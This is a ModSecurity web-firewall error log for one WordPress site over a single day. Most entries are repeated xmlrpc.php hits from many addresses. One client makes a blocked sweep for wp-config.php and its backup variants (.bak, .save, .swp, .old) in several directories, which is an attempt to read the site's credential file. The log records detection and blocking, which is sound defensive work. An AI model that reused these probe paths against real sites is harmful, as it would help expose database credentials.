[Tue Jan 06 04:40:56.215562 2026] [:error] [pid 44903:tid 44912] [client 208.113.190.84:50502] [client 208.113.190.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 208.113.190.84, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVwh2NhHqjs38zbkQPAuyAAAAAU"]
[Tue Jan 06 04:40:58.315765 2026] [:error] [pid 44905:tid 44980] [client 208.113.190.84:50184] [client 208.113.190.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 208.113.190.84, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVwh2ru7ufwWVst9EAvTlwAAAIw"]
[Tue Jan 06 04:41:13.522321 2026] [:error] [pid 44904:tid 44941] [client 103.20.213.90:53237] [client 103.20.213.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.20.213.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVwh6TtieuI1BJEZcvdQogAAAEA"]
[Tue Jan 06 04:41:15.946328 2026] [:error] [pid 45012:tid 45024] [client 103.20.213.90:53836] [client 103.20.213.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.20.213.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVwh6xaMAxCuju1d0ubluAAAAMo"]
[Tue Jan 06 04:41:18.216692 2026] [:error] [pid 44905:tid 44987] [client 103.20.213.90:54423] [client 103.20.213.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.20.213.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVwh7ru7ufwWVst9EAvTrgAAAJM"]
[Tue Jan 06 05:42:58.526454 2026] [:error] [pid 44903:tid 44909] [client 3.136.197.26:57596] [client 3.136.197.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 3.136.197.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVwwYthHqjs38zbkQPBB2gAAAAI"]
[Tue Jan 06 06:08:26.383680 2026] [:error] [pid 44904:tid 44950] [client 132.148.77.54:41684] [client 132.148.77.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.77.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVw2WjtieuI1BJEZcvdshAAAAEk"]
[Tue Jan 06 06:54:56.792160 2026] [:error] [pid 44903:tid 44925] [client 91.107.124.38:41566] [client 91.107.124.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.107.124.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVxBQNhHqjs38zbkQPBWhwAAABI"]
[Tue Jan 06 07:14:14.907099 2026] [:error] [pid 35140:tid 35150] [client 104.207.43.149:9155] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php"] [unique_id "aVxFxnoQaIDFMbT-XMwgYQAAAQg"]
[Tue Jan 06 07:14:18.050234 2026] [:error] [pid 45959:tid 45968] [client 104.207.43.149:30055] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.bak"] [unique_id "aVxFylajdn8P3hjgMYyuzgAAAUY"]
[Tue Jan 06 07:14:21.816951 2026] [:error] [pid 45959:tid 45979] [client 104.207.43.149:32469] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php~"] [unique_id "aVxFzVajdn8P3hjgMYyu0gAAAVE"]
[Tue Jan 06 07:14:24.574150 2026] [:error] [pid 35140:tid 35156] [client 104.207.43.149:22297] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.save"] [unique_id "aVxF0HoQaIDFMbT-XMwgbgAAAQ4"]
[Tue Jan 06 07:14:29.006389 2026] [:error] [pid 44903:tid 44922] [client 104.207.43.149:36589] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.old" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.old"] [unique_id "aVxF1dhHqjs38zbkQPBb9AAAAA8"]
[Tue Jan 06 07:14:31.842302 2026] [:error] [pid 44903:tid 44909] [client 104.207.43.149:20703] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.txt" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.txt"] [unique_id "aVxF19hHqjs38zbkQPBb-gAAAAI"]
[Tue Jan 06 07:14:35.254684 2026] [:error] [pid 35140:tid 35158] [client 104.207.43.149:44825] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.wp-config.php.swp"] [unique_id "aVxF23oQaIDFMbT-XMwgcgAAARA"]
[Tue Jan 06 07:14:39.065483 2026] [:error] [pid 35140:tid 35154] [client 104.207.43.149:12709] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wordpress/wp-config.php"] [unique_id "aVxF33oQaIDFMbT-XMwgdgAAAQw"]
[Tue Jan 06 07:14:42.099055 2026] [:error] [pid 45959:tid 45973] [client 104.207.43.149:32213] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp/wp-config.php"] [unique_id "aVxF4lajdn8P3hjgMYyu6wAAAUs"]
[Tue Jan 06 07:14:44.696618 2026] [:error] [pid 44905:tid 44983] [client 104.207.43.149:41553] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/blog/wp-config.php"] [unique_id "aVxF5Lu7ufwWVst9EAsE6QAAAI8"]
[Tue Jan 06 07:14:47.279089 2026] [:error] [pid 44905:tid 44990] [client 104.207.43.149:33781] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/backup/wp-config.php"] [unique_id "aVxF57u7ufwWVst9EAsE6wAAAJY"]
[Tue Jan 06 07:14:49.239861 2026] [:error] [pid 45959:tid 45964] [client 104.207.43.149:17703] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php"] [unique_id "aVxF6Vajdn8P3hjgMYyu-AAAAUI"]
[Tue Jan 06 07:14:50.681157 2026] [:error] [pid 45959:tid 45972] [client 104.207.43.149:30123] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.bak"] [unique_id "aVxF6lajdn8P3hjgMYyu_QAAAUo"]
[Tue Jan 06 07:14:51.521677 2026] [:error] [pid 44903:tid 44928] [client 104.207.43.149:16535] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php~"] [unique_id "aVxF69hHqjs38zbkQPBcCwAAABU"]
[Tue Jan 06 07:14:52.977679 2026] [:error] [pid 44904:tid 44947] [client 104.207.43.149:25909] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.save"] [unique_id "aVxF7DtieuI1BJEZcvd-eAAAAEY"]
[Tue Jan 06 07:14:54.143724 2026] [:error] [pid 44904:tid 44961] [client 104.207.43.149:20153] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.old" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.old"] [unique_id "aVxF7jtieuI1BJEZcvd-egAAAFQ"]
[Tue Jan 06 07:14:55.540275 2026] [:error] [pid 45012:tid 45016] [client 104.207.43.149:37813] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.txt" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.txt"] [unique_id "aVxF7xaMAxCuju1d0uYcQwAAAMI"]
[Tue Jan 06 07:14:57.031042 2026] [:error] [pid 35140:tid 35163] [client 104.207.43.149:46013] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.wp-config.php.swp"] [unique_id "aVxF8XoQaIDFMbT-XMwgggAAARU"]
[Tue Jan 06 07:14:57.981803 2026] [:error] [pid 35140:tid 35153] [client 104.207.43.149:59069] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wordpress/wp-config.php"] [unique_id "aVxF8XoQaIDFMbT-XMwghAAAAQs"]
[Tue Jan 06 07:14:59.103988 2026] [:error] [pid 44905:tid 44974] [client 104.207.43.149:13249] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp/wp-config.php"] [unique_id "aVxF87u7ufwWVst9EAsE-AAAAIY"]
[Tue Jan 06 07:14:59.993205 2026] [:error] [pid 44904:tid 44958] [client 104.207.43.149:13679] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/blog/wp-config.php"] [unique_id "aVxF8ztieuI1BJEZcvd-gAAAAFE"]
[Tue Jan 06 07:15:01.021788 2026] [:error] [pid 45012:tid 45019] [client 104.207.43.149:34533] [client 104.207.43.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/backup/wp-config.php"] [unique_id "aVxF9RaMAxCuju1d0uYcSAAAAMU"]
[Tue Jan 06 07:41:29.097112 2026] [:error] [pid 45959:tid 45979] [client 118.139.176.44:44338] [client 118.139.176.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.139.176.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVxMKVajdn8P3hjgMYy4ZgAAAVE"]
[Tue Jan 06 08:07:08.021248 2026] [:error] [pid 44905:tid 44985] [client 85.215.146.57:37956] [client 85.215.146.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.215.146.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVxSLLu7ufwWVst9EAsSOgAAAJE"]
[Tue Jan 06 08:25:33.483190 2026] [:error] [pid 45959:tid 45986] [client 89.46.105.196:29006] [client 89.46.105.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.105.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVxWfVajdn8P3hjgMYzHaQAAAVg"]
[Tue Jan 06 08:25:36.663525 2026] [:error] [pid 45959:tid 45977] [client 89.46.105.196:29016] [client 89.46.105.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.105.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVxWgFajdn8P3hjgMYzHawAAAU8"]
[Tue Jan 06 08:25:39.354739 2026] [:error] [pid 44905:tid 44973] [client 89.46.105.196:42136] [client 89.46.105.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.105.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVxWg7u7ufwWVst9EAsVpQAAAIU"]
[Tue Jan 06 08:26:51.742594 2026] [:error] [pid 44905:tid 44981] [client 188.166.213.184:52456] [client 188.166.213.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.213.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVxWy7u7ufwWVst9EAsV2AAAAI0"]
[Tue Jan 06 08:26:54.132625 2026] [:error] [pid 44905:tid 44972] [client 188.166.213.184:52458] [client 188.166.213.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.213.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVxWzru7ufwWVst9EAsV2wAAAIQ"]
[Tue Jan 06 08:26:56.156115 2026] [:error] [pid 45012:tid 45025] [client 188.166.213.184:50522] [client 188.166.213.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.213.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVxW0BaMAxCuju1d0uYpogAAAMs"]
[Tue Jan 06 08:27:14.403115 2026] [:error] [pid 45959:tid 45968] [client 198.251.83.217:33554] [client 198.251.83.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.251.83.217, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVxW4lajdn8P3hjgMYzHyQAAAUY"]
[Tue Jan 06 08:27:19.422988 2026] [:error] [pid 45959:tid 45984] [client 198.251.83.217:58556] [client 198.251.83.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.251.83.217, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVxW51ajdn8P3hjgMYzH0QAAAVY"]
[Tue Jan 06 08:27:24.082338 2026] [:error] [pid 45012:tid 45034] [client 198.251.83.217:58568] [client 198.251.83.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.251.83.217, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVxW7BaMAxCuju1d0uYpxAAAANQ"]
[Tue Jan 06 08:43:36.199129 2026] [:error] [pid 35140:tid 35152] [client 103.244.176.108:11888] [client 103.244.176.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.244.176.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVxauHoQaIDFMbT-XMwwFgAAAQo"]
[Tue Jan 06 08:49:29.374642 2026] [:error] [pid 45012:tid 45017] [client 31.217.165.117:20918] [client 31.217.165.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.217.165.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVxcGRaMAxCuju1d0uYtlAAAAMM"]
[Tue Jan 06 08:52:09.261854 2026] [:error] [pid 44903:tid 44912] [client 31.217.165.117:10885] [client 31.217.165.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.217.165.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVxcudhHqjs38zbkQPBvhwAAAAU"]
[Tue Jan 06 08:53:38.635852 2026] [:error] [pid 45959:tid 45984] [client 43.159.143.187:51230] [client 43.159.143.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVxdElajdn8P3hjgMYzPyAAAAVY"]
[Tue Jan 06 10:37:49.312512 2026] [:error] [pid 44904:tid 44962] [client 43.165.70.220:44964] [client 43.165.70.220] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVx1fTtieuI1BJEZcvetfQAAAFU"]
[Tue Jan 06 12:40:09.157796 2026] [:error] [pid 44903:tid 44912] [client 83.166.138.45:37764] [client 83.166.138.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.138.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVySKdhHqjs38zbkQPCpggAAAAU"]
[Tue Jan 06 12:40:12.480594 2026] [:error] [pid 44904:tid 44944] [client 83.166.138.45:38034] [client 83.166.138.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.138.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVySLDtieuI1BJEZcvfKBQAAAEM"]
[Tue Jan 06 12:40:15.178925 2026] [:error] [pid 44903:tid 44914] [client 83.166.138.45:38282] [client 83.166.138.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.138.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVySL9hHqjs38zbkQPCpjgAAAAc"]
[Tue Jan 06 12:41:00.234005 2026] [:error] [pid 44903:tid 44916] [client 185.164.72.7:55524] [client 185.164.72.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.164.72.7, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVySXNhHqjs38zbkQPCpswAAAAk"]
[Tue Jan 06 12:41:03.578369 2026] [:error] [pid 44903:tid 44918] [client 185.164.72.7:55530] [client 185.164.72.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.164.72.7, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVySX9hHqjs38zbkQPCpuAAAAAs"]
[Tue Jan 06 12:41:06.382736 2026] [:error] [pid 35140:tid 35147] [client 185.164.72.7:55532] [client 185.164.72.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.164.72.7, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVySYnoQaIDFMbT-XMxquwAAAQU"]
[Tue Jan 06 12:41:42.551467 2026] [:error] [pid 45012:tid 45037] [client 83.166.138.45:45754] [client 83.166.138.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.138.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVyShhaMAxCuju1d0uZwhgAAANc"]
[Tue Jan 06 12:41:45.376586 2026] [:error] [pid 45959:tid 45969] [client 83.166.138.45:46012] [client 83.166.138.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.138.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVySiVajdn8P3hjgMYwpUwAAAUc"]
[Tue Jan 06 12:41:47.950648 2026] [:error] [pid 44903:tid 44911] [client 83.166.138.45:46270] [client 83.166.138.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.138.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVySi9hHqjs38zbkQPCp6QAAAAQ"]
[Tue Jan 06 14:27:25.087245 2026] [:error] [pid 35140:tid 35159] [client 68.183.204.128:48848] [client 68.183.204.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.204.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVyrTXoQaIDFMbT-XMyDngAAARE"]
